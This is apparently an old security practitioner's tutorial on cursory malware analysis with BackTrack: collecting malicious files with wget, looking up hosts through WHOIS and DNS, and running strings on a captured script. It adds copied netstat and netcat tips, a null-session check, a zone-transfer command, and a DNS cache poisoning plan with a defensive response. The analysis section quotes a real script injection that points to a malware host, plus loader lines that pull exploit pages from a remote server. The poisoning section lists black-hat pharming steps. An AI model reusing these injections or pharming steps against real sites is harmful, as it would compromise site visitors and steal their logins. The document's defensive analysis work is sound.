Cursory Malware Analysis Techniques with Common Tools

Review of using BackTrack to do cursory evaluation and tracing of captured malcode.

Get BackTrack

Get the BackTrack ISO from http://www.remote-exploit.org/backtrack_download.html and burn it to CD.

Getting Started

Boot your machine with Backtrack. At the command prompt screen, login as root. Issue commands to setup the network and start X windows.

slax ~ # ifconfig eth0 up
slax ~ # dhcpcd -i eth0

Confirm you have a valid IP address.

slax ~ # ifconfig eth0
eth0 Link encap:Ethernet HWaddr 00:06:5B:A1:9F:06
inet addr:192.168.1.151 Bcast:192.168.1.255 Mask:255.255.255.0
inet6 addr: fe80::206:5bff:fea1:9f06/64 Scope:Link
UP BROADCAST NOTRAILERS RUNNING MULTICAST MTU:1500 Metric:1
RX packets:117652 errors:0 dropped:0 overruns:1 frame:0
TX packets:12714 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:22401571 (21.3 Mb) TX bytes:2096818 (1.9 Mb)
Interrupt:18 Base address:0xc800

Start graphical mode.

slax ~ # startx

The machine will now enter graphical mode. When done, open a command window by clicking the black computer screen icon at the bottom left of the screen.

Navigate to /mnt. See what is attached to the machine.

slax ~ # cd /mnt
slax mnt # ls
floppy/ hda1/ hda5/ hdb1/ hdc_cdrom/ hdd_cdrom/ live/

Insert your USB stick and mount it.

slax mnt # ls
floppy/ hda1/ hda5/ hdb1/ hdc_cdrom/ hdd_cdrom/ live/ sda1_removable/
slax mnt # mkdir sd
slax mnt # mount /dev/sda1 /mnt/sd
slax mnt # ls
floppy/ hda1/ hda5/ hdb1/ hdc_cdrom/ hdd_cdrom/ live/ sd/ sda1_removable/

Confirm you are mounted to /mnt/sd

slax mnt # mount
...
/dev/sda1 on /mnt/sd type vfat (rw)

Now that you're set up, the next page will continue with collection of the malcode samples.

{mospagebreak}

Collecting Samples

Enter the drive. Create a new folder for your analysis work.

slax mnt # cd sd
slax sd # mkdir www.malcodedomain.com
slax sd # ls
www.malcodedomain.com/

Enter your new directory. Copy in the wget retrieval script for use with this analysis.

slax sd # cd www.malcodedomain.com
slax www.malcodedomain.com # cp ../get_links.sh .
slax www.malcodedomain.com # ls
get_links.sh*

Here is what the get_links.sh file looks like.

slax infotechnow.com # cat get_links.sh
#!/bin/bash
for i in `cat $1`; do
# wget to pull down files
# -t1 retry once
# -T20 wait 20 seconds, then timeout and move on
# -x use directory structure. Prevents overwrites.
# -U use the common Internet Explorer user agent string for two reasons. 1) Helps elude detection by perpetrator that their code has been compromosed. 2) some malcode compares the user agent and does not attempt exploit on non-compatible clients, defeating code collection.
# --save-cookies might want these
echo $i;
wget -t 1 -T 20 -x -U "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)" --save-cookies=cookies.txt "$i" | tee wget_log.txt;
done;
ls -R

Create a file with a list of the URIs that you will investigate. Remember to be inventive with how you search, as some minor modifications may yield greater returns than the initial query. An example would be to pull any possible directory listings to expand target scope. Another would be to search for number variants for a file, say wxp521.bad. Look for wxp522.bad and others between 500-550. Try to pull dynamic pages (asp, php) without their arguments as well.

slax www.malcodedomain.com # vi links
slax www.malcodedomain.com # cat links
http://www.malcodedomain.com/dir/dir/detected_bad_page.asp?maybe_you_have_args
http://www.malcodedomain.com/dir/dir/detected_bad_page.asp
http://www.malcodedomain.com/dir/dir
http://www.malcodedomain.com/dir/
http://www.malcodedomain.com
http://relatedmaldomain.cc
http://relatedmaldomain.cc/dir/
http://relatedmaldomain.cc/dir/badfile.js

Run the get_links script to do the initial pull. Files will be saved in the same directory hierarchy they had on the target server.

slax www.malcodedomain.com # ./get_link.sh links
slax www.malcodedomain.com # ls
cookies.txt* get_links.sh* links* wget_log.txt* www.malcodedomain.com/

As you see, the script creates a log for wget errors, records the cookies, and creates the site directory with appropriated result files in it.

On the next page, we'll explore gathering the online records to identify owners and possible contacts for future action.

{mospagebreak}

Gathering Records

To do an investigation, you need to know about the site you are targeting. WHOIS and DNS are good sources to gather some information.

Retrieve the DNS records for query resolution and reverse resolution of the target domain. 'example.net' is used as an example.

slax www.malcodedomain.com # dig example.net | tee DNS_example.net

; <<>> DiG 9.3.1 <<>> example.net
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2663 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 5, ADDITIONAL: 5 ;; QUESTION SECTION: ;example.net. IN A ;; ANSWER SECTION: example.net. 60 IN A 11.22.33.44

;; AUTHORITY SECTION:
example.net. 86400 IN NS ns4.mydyndns.org.
example.net. 86400 IN NS ns5.mydyndns.org.
example.net. 86400 IN NS ns1.mydyndns.org.
example.net. 86400 IN NS ns2.mydyndns.org.
example.net. 86400 IN NS ns3.mydyndns.org.

;; ADDITIONAL SECTION:
ns1.mydyndns.org. 79664 IN A 63.208.196.92
ns2.mydyndns.org. 79314 IN A 204.13.249.82
ns3.mydyndns.org. 36138 IN A 204.13.250.82
ns4.mydyndns.org. 80774 IN A 213.155.150.206
ns5.mydyndns.org. 80774 IN A 63.208.196.93

;; Query time: 168 msec
;; SERVER: 192.168.1.4#53(192.168.1.4)
;; WHEN: Wed Jan 31 14:19:09 2007
;; MSG SIZE rcvd: 231

slax www.malcodedomain.com # dig -x example.net | tee DNS_example.net_ptr

; <<>> DiG 9.3.1 <<>> -x example.net
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 26216 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 0 ;; QUESTION SECTION: ;net.example.in-addr.arpa. IN PTR ;; AUTHORITY SECTION: in-addr.arpa. 10800 IN SOA A.ROOT-SERVERS.NET. dns-ops.ARIN.NET. 2007013116 1800 900 691200 10800 ;; Query time: 94 msec ;; SERVER: 192.168.1.4#53(192.168.1.4) ;; WHEN: Wed Jan 31 14:19:29 2007 ;; MSG SIZE rcvd: 113

As you can see, 'example.net' is a dynamic hosted site with no return PTR record. Now do an in-addr.arpa query on the IP to determine the ISP.

slax www.malcodedomain.com # dig -x 11.22.33.44 | tee DNS_11.22.33.44

; <<>> DiG 9.3.1 <<>> -x 11.22.33.44
;; global options: printcmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 36217 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 2, ADDITIONAL: 2 ;; QUESTION SECTION: ;44.33.22.11.in-addr.arpa. IN PTR ;; ANSWER SECTION: 44.33.22.11.in-addr.arpa. 86400 IN PTR user-xx.cable.mindspring.com.

;; AUTHORITY SECTION:
254.133.66.in-addr.arpa. 10951 IN NS scratchy.earthlink.net.
254.133.66.in-addr.arpa. 10951 IN NS itchy.earthlink.net.

;; ADDITIONAL SECTION:
itchy.earthlink.net. 59942 IN A 207.69.188.196
scratchy.earthlink.net. 74609 IN A 207.69.188.197

;; Query time: 79 msec
;; SERVER: 192.168.1.4#53(192.168.1.4)
;; WHEN: Wed Jan 31 14:21:18 2007
;; MSG SIZE rcvd: 179

Looks like an Earthlink cable customer. Now pull the WHOIS information for the domain and IP.

slax www.malcodedomain.com # whois 11.22.33.44 | tee WHOIS_11.22.33.44
EarthLink, Inc. ERLK-CBL-TW-WEST (NET-11-22-33-0-1)
11.22.33.0 - 11.22.255.255
EARTHLINK, INC ERLK-TW-HAWAII01 (NET-11-22-33-0-1)
11.22.33.0 - 11.22.255.255

# ARIN WHOIS database, last updated 2007-01-30 19:10
# Enter ? for additional hints on searching ARIN's WHOIS database.

Notice the first draw only came up with referring netblock information. Replace the original query with the netblock to get usable information.

slax www.malcodedomain.com # whois NET-11-22-33-0-1 | tee WHOIS_11.22.33.44
CustName: EARTHLINK, INC
Address: 1375 PEACHTREE STREET, LEVEL A
City: ATLANTA
StateProv: GA
PostalCode: 30309
Country: US
RegDate: 2006-11-17
Updated: 2006-11-17

NetRange: 11.22.33.0 - 11.22.255.255
CIDR: 11.22.33.0/20
NetName: ERLK-TW-HAWAII01
NetHandle: NET-11-22-33-0-1
Parent: NET-11-22-33-0-1
NetType: Reassigned
Comment:
RegDate: 2006-11-17
Updated: 2006-11-17

OrgAbuseHandle: ABUSE60-ARIN
OrgAbuseName: ABUSE TEAM
OrgAbusePhone: +1-404-815-0770
OrgAbuseEmail: abuse@abuse.earthlink.net

OrgTechHandle: ELNK-ORG-ARIN
OrgTechName: EarthLink, Inc.
OrgTechPhone: +1-404-815-0770
OrgTechEmail: arin_tech@lists.corp.earthlink.net

# ARIN WHOIS database, last updated 2007-01-30 19:10
# Enter ? for additional hints on searching ARIN's WHOIS database.

slax www.malcodedomain.com # whois example.net | tee WHOIS_example.net

Whois Server Version 2.0

Domain names in the .com and .net domains can now be registered
with many different competing registrars. Go to http://www.internic.net
for detailed information.


Domain Name: EXAMPLE.NET
Registrar: GO DADDY SOFTWARE, INC.
Whois Server: whois.godaddy.com
Referral URL: http://registrar.godaddy.com
Name Server: NS1.MYDYNDNS.ORG
Name Server: NS2.MYDYNDNS.ORG
Status: clientDeleteProhibited
Status: clientRenewProhibited
Status: clientTransferProhibited
Status: clientUpdateProhibited
Updated Date: 15-jul-2006
Creation Date: 30-dec-2003
Expiration Date: 30-dec-2013

>>> Last update of whois database: Thu, 01 Feb 2007 00:22:57 UTC <<< ... Registrant: EXAMPLE xxxxxx St xxxxxxx, xx nnnnn United States Registered through: GoDaddy.com, Inc. (http://www.godaddy.com) Domain Name: EXAMPLE.NET Created on: 30-Dec-03 Expires on: 30-Dec-13 Last Updated on: 09-Apr-04 Administrative Contact: EXAMPLE xx@xx.xxx xxxxxx St xxxxxxx, xx nnnnn United States 5555555555 Fax -- Technical Contact: EXAMPLE xx@xx.xxx xxxxxx St xxxxxxx, xx nnnnn United States 5555555555 Fax -- Domain servers in listed order: NS1.MYDYNDNS.ORG NS2.MYDYNDNS.ORG

The target is confirmed to be a dynamic domain. The target server is hosted on a cable link through Earthlink. The data even has contact information, though this may be falsified in the case of a malicious domain.

Repeat this process for each newly discovered IP and domain.

On the next page, we explore basic methods to analyze collected malware.

{mospagebreak}

Analysis

Now we switch to a live example to demonstrate the rest of the process. The following was taken during an investigation of infotechnow.com and its hacked referral to a malcode hosting site.

slax infotechnow.com # cd /mnt/sd/infotechnow.com

The original detection was an inserted code redirect at infotechnow.com. Let's start there.

slax infotechnow.com # cd www.infotechnow.com
slax www.infotechnow.com # ls
shopping/
slax www.infotechnow.com # cd shopping
slax shopping # ls
default.asp* index.html* shopdisplaycategories.asp*

Look at each file and determine the malcode.

slax shopping # cat shopdisplaycategories.asp



meta equiv="Content-Language" content="en-us">
...

The code is pretty long, so here is the pertinent part. Notice that encoded script in the middle of the formatted HTML code. Here's the specific code we seek.

a href="hp://www.infotechnow.com/shopping/shopdisplayproducts.asp?id=3&cat=Floppy%2C+Zip">Floppy, Zip
a href="http://www.blogger.com/shopping/shopdisplaycategories.asp?id=262&cat=GPS%3Cscript+src%3D%22%20http%3A%2F%2Fijk%2Ecc%2FE%2FJ%2EJS%22%3E%3C%2Fscript%3E".GPS.script src="http://ijk.cc/E/J.JS"../script../a../span..a href="http://www.blogger.com/shopping/shopdisplaycategories.asp?id=193&cat=Hard+Drives".Hard Drives./a.

The user clicks on a link for GPS units, and is redirected to malcode host site 'ijk.cc' to execute file 'j.js'. Add this to the links list and grab it.

Now navigate to your new captured file and analyze it with 'strings'.

slax infotechnow.com # cd ijk.cc
slax ijk.cc # cd e
slax e # ls
ff104/ ff154/ ie_onload.js* index.html* isci/ j.js* j_js_decodes* ms06044/ vml/
slax e # strings j.js | tee STRINGS_j_js

Read through the output and note interesting features in your report. Collect any referred URIs or scripts, add them to the links list, and collect them. Examples of a few interesting items in j.js follows:

ExecScript("http://" + server_addr + "/E/isci/isci_my.js");
ExecScript("http://" + server_addr + "/E/ff154/ff154.js");
ExecScript("http://" + server_addr + "/E/ff104/ff104.js");
var my_src = 'http://'+server_addr+'/E/ms06044/ww.js';
ExecIframe('http://'+server_addr+'/E/ms06044/ms06044.htm');
ExecIframe('http://'+server_addr+'/E/vml/vml.htm');
document.write("/E/ie_onload.js'><"+"/script>");

And so on. As mentioned, add discovered files to the links list and grab them.

Analysis helps you identify files, directories and other servers to pursue. You may be drawn to other sites, files and directories. Be persistent and follow all of the available branches.

Rinse and repeat.

Network Disk Imaging

From SANS Internet Storm Center, but I lost the link.

Reader Bob Hart submits the following tip, which is
very useful and surprisingly powerful for its size...

I have used the following on a Suse SLES 9 system to
make five exact copies of my original server.

1. On the new server insert the Installation CD and
boot to Rescue mode.
2. Use root to login at the "Rescue" prompt.
3. Run the following commands:

Ê
# ifconfig eth0 192.168.1.100 netmask
255.255.255.0 up
# ping -c 192.168.1.101
# netcat -l -p 9876 | dd of=/dev/cciss/c0d0

The ping command simply checks connectivity to
existing server. Then, on the existing server...

1. Login as root
2. Run

# dd if=/dev/cciss/c0d0 bs=4M |netcat
192.168.1.100 9876

Fun with Windows Netstat

A most excellent ISC article by Skoudis. Unfortunately, I lost the link.

Fun With Windows Netstat (NEW)

Published: 2006-12-05,
Last Updated: 2006-12-05 15:25:10 UTC by Ed Skoudis (Version: 3(click to highlight changes))

I've often lamented the fact that Windows does not have a built-in lsof-like tool. On Linux and UNIX, lsof gives all kinds of details about what various processes are up to. Sure, we've got the Microsoft Sysinternals Process Monitor tool, which is really cool, but is not built in. And, of course, Windows doesn't include a built-in sniffer…

One technique that I've been using a lot in incident handling, vulnerability assessment, malware analysis, and other sysadmin work over the last few months involves the traditional, humble netstat tool. Although netstat is limited, I've found a specific use of it to be tremendously helpful. Here are some scenarios.

Fellow handler Mike Poor and I were at a client site, and Mike was doing a network scan. I had one of the client's laptops, on which we could install no additional software. I wanted to see when Mikey's wide-ranging scan reached my box, which did have an open port. Here's what I ran:

C:\> netstat –na 1 | find "[Scan_Host_IP_Addr]"

The netstat command, used this way, shows TCP and UDP port activity. The –n means to list numbers. The –a indicates that we want all connections and listening ports. In Windows netstat, the 1 means we want to run every second, repeatedly dumping the output on standard out. That's a really nice feature of Windows netstat, because we can have it run continuously (every second) and scrape its output for what we want. And, here we are looking through our output with the find command to see an indication of when Mike's box had accessed ours. Note that I'm using find here, but another alternative would be the findstr command. The find command can locate strings nicely, but findstr can process regular expressions. I believe in using the appropriate tool for the job, and these simple searches work just fine with find. If you want regexp stuff, use the more powerful findstr command. Anyway, because the 3-way handshake or an actual connection will likely last more than 1 second, this technique will work. Sadly, the technique does not work to capture sub-1-second events. As Mikey continued the scan… Bingo! We could see with 1-second accuracy when it reached my box.

I've used this technique elsewhere as well. A gentleman taking the SANS Security 504 class had a dilemma. He was seeing a weird ICMP Host Unreachable message in his network. When he looked at the destination address, it was going from his router back to his Domain Controller. So, his DC was pushing out a packet to a machine that his router couldn't reach. But, what process on his DC was sending this packet? On the Domain Controller, we ran:

C:\> netstat –nao 1 | find "[Dest_IP_Addr]"

Here, I've added the –o flag, which makes Windows netstat print the PID. You can then look up that PID using "wmic process list brief", "tasklist", or, if you insist, Task Manager (yuck!). Then, you can see what process is emitting that packet, provided that it is using the TCP or UDP stack of Windows to send it, and that it takes at least a second. Note that netstat also offers the –b flag, which makes it show the EXE and its associated DLLs that are using TCP and UDP ports. However, I didn't use –b here, because it seriously hurts performance. For whatever reason, it takes netstat a lot of CPU cycles to get the EXE and DLL info, cycles that we cannot spare on a Domain Controller. And, running "netstat –naob" every second would be a serious drain on processor resources.

Sadly, the -o and -b options in netstat are not available in Windows NT and 2000. As far as I'm concerned, those older Windows are barely manageable at all. WinXP and 2003 are much better, and netstat supports -o and -b in them, to say nothing of wmic, tasklist, taskkill, etc.

Here's another one. We were working on an investigation where an evil process would start up, and eventually (not instantly) listen on TCP port 2222. We wanted to know when it started listening, so we ran:

C:\> netstat –na 1 | find "2222"

And, here's one final one for you. I was working on an investigation, and we had a process listening on a given TCP port (let's say, for example, it was TCP port 4444). We wanted to know when the bad guy connected to it. We ran:

C:\> netstat –na 1 | find "4444" | find "ESTABLISHED"

This will print nothing until the output of netstat includes an established connection on port 4444. So, with approximately 1-second accuracy, we were able to see when someone connected to the port, knowing that our bad guy had come calling. Also, this output includes the source IP address connected to the port, a helpful thing in an investigation.

Now, obviously you could do all of this with a sniffer, with more accuracy and detail. But, netstat is built-in, and these command are easy and quick to type.

--Ed Skoudis.
Handler on Duty
Intelguardians

Malware Analysis Toolkit

http://isc.sans.org/diary.php?storyid=1801

Checking for Null Sessions

> net use \\host "" /u:""

Tells you if the Windows server is vulnerable to further attacks based on null sessions over SMB.

DNS Transfer Enumeration

Useful for testing NIDS sigs and network footprinting.

> nslookup

server

ls -d

Uses for a DNS Cache Poison

A short-lived targeted attack (black hat):

• Identify a vulnerable DNS server upstram from your target.
• Poison the target's upstream DNS server for a common web service they access. Broad scope (e.g. tsp.gov, google.com) or narrow scope (e.g. some.project.page.contractor.com).
• Throw up a web server that looks reasonably like the original. Have some nasty links/exploits in tehre. Entice the user to click or enter information like logins for the original site. Collect data. Hack clients. This is the 'pharming' concept.
• Natural end: simply stop poisoning the upstram server. The attack will end when the caches refresh the old data.
• Quicker end: re-poison (or un-poison) the upsteam cache with the correct address.
  

Ideas for defense (white hat):

Determine the scope of impact

• Create s script to do non-recursive lookups of all DNS cache servers for the suspect domain all the way to the network border (and maybe beyond into the upstream if possible). Aggregate the data for analysis.
• Parse the data and identify cache servers that do not resolve to the expected set of IP addresses.

What's poisoned?

• Reverse-DNS the suspected poisoned IP. Discovering what its PTR record is may reveal useful information.
• Use an independent source (not the targeted network) to resolve the suspect domain for "real" IP addresses. Compare this to the data set.
• Identify cache servers that do not resolve correctly.
  

Remediation

• Determine the root of the poison through TTL and DNS forwarder analysis of the cache servers. Get as close to the top as possible.
• Clear caches, starting at the border, and working inward. As cache requests are made during the flush process, the remediation will be helped along by pulling the now-correct data from the upstream caches. Conversely, starting at the bottom leaves caches vulnerable to reinfection from upstream servers.
• If you cannot determine the poison's root, or determine that it is upstream in or beyond your ISP, consider redirecting to other upstream DNS forwarders until the main feeds are fixed. Ask the ISP for assistance if necessary.

Long term

• Consider shifting the border (top level) DNS cache forwarders from time to time or even at regular intervals in rotation. It may change the dynamics of your network infrastructure enough to make poisoning more difficult for the attacker.
• Ensure DNS engine patches are up-to-date. Demand the same of your upstream feeders.